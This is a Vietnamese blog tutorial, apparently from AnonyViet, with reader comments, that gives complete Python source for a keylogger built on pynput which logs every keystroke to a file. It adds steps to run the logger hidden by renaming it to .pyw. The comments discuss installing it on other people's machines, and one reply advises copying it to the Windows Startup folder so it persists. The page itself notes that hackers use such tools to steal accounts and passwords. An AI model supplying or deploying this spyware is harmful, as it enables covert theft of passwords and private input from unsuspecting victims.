Hôm nay mình sẽ hướng dẫn các bạn viết Code Keylogger bằng Python cực kỳ đơn giản. Hiện nay ứng dụng Python đang được phổ biến, đặc biệt là Bộ Giáo dục đã đưa Python vào chương trình học cấp 2. Do đó việc nghiên cứu Python ngay từ bây giờ không bao giờ là sớm cả. Python nổi tiếng vì các code khá dễ và có sẵn nhiều thư viện. Một trong đó là thư viện pynput giúp bạn ghi lại nhật ký bàn phím, chuột, từ đó có thể tạo ra 1 con keylogger đơn giản.
Tham gia kênh Telegram của AnonyViet 👉 Link 👈 |
Cách tạo KeyLogger bằng Python đơn giản nhất
Keylogger là một loại phần mềm giám sát được thiết kế để ghi lại các thao tác gõ phím của người dùng. Một trong những hình thức đe dọa an ninh mạng lâu đời nhất, tính năng ghi nhật ký tổ hợp phím này ghi lại thông tin bạn nhập bất kỳ ký tự nào trên bàn phím, Keylogger sẽ ghi lại và lưu vào 1 file sau đó sẽ gửi cho Hacker. Như vậy nếu Keylogger được cài vào máy nạn nhân, hacker có thể dễ dàng đánh cắp tài khoản, mật khẩu của bạn.
Chỉ với câu 7 câu lệnh python bạn dễ dàng tạo ra một con Keylog đơn giản cho mình.
Trước tiên bạn cần tải và cài đặt Python 3.x (hiện tại là Python 3.9). Khi cài nhớ chọn chức năng Add Python 3.x to Path ở màn hình đầu tiên lúc cài đặt.
Bạn mở CMD quyền Administrator lên và gõ lệnh:
pip install pynput
Tiếp đến mở notepad lên, copy code keylogger dưới đây và save thành file keylog.py
from pynput.keyboard import Listener def evnt_key_press(key): f = open('key.txt','a') f.write(str(key).replace("'",'') + "\n" ) f.close() obj = Listener(on_press=evnt_key_press) obj.start() obj.join()
Vậy là xong rồi đó, bây giờ mở CMD vơi quyền Administrator và gõ lệnh
cd C:\
python keylog.py
Bây giờ trên ổ C sẽ xuất hiện file key.txt
, file này sẽ lưu trữ các ký tự mà bạn đã gõ trên bàn phím. Mỗi ký tự nằm ở một hàng, bạn chịu khó ghép chữ lại nhé.
Bây giờ chỉ cần kích hoạt file keylog.py, bạn sẽ biết được những người khác đã gõ gì trên máy tính của bạn, giúp bạn kiểm soát máy tính của mình dễ dàng hơn.
Trong trường hợp bạn không muốn hiển thị cửa sổ CMD khi kích hoạt Keylog hãy đổi tên file keylog.py thành keylog.pyw
Bây giờ thì bạn có thể tắt cửa sổ CMD được rồi, keylog sẽ hoạt động ngầm mà người thường sẽ không hề hay biết.
Nếu bạn muốn tắt luôn Keylog thì mở Task Manager (Ctrl + Shift + Esc) lên và tìm Process có tên Python -> End task
Như vậy AnonyViet đã hướng dẫn bạn cách viết Keylogger bằng Python đơn giản nhất. Còn các tính năng nâng cao như gửi về email, chụp màn hình… mình sẽ nói tới ở bài sau.
Update 29/9/2021: Bạn có thể tham khảo Code Keylogger Python gửi Email tại Github AnonyViet.
viết code ra thì không khó mình đã gửi được lên mail nhưng mình vẫn chưa hiểu làm sao để nếu máy bị lây nhiễm có thể chạy được chương trình như trên cmd và gửi vào máy của mình
mình gửi vào máy người khác thì nó có gửi ng ta ấn j cho mình ko anh?
anh ơi sao cứ mỗi lần tắt máy đi là nó ko hoạt động :((
bạn copy vào thư mục startup của Windows cho nó tự khởi động
đường dẫn đâu ạ?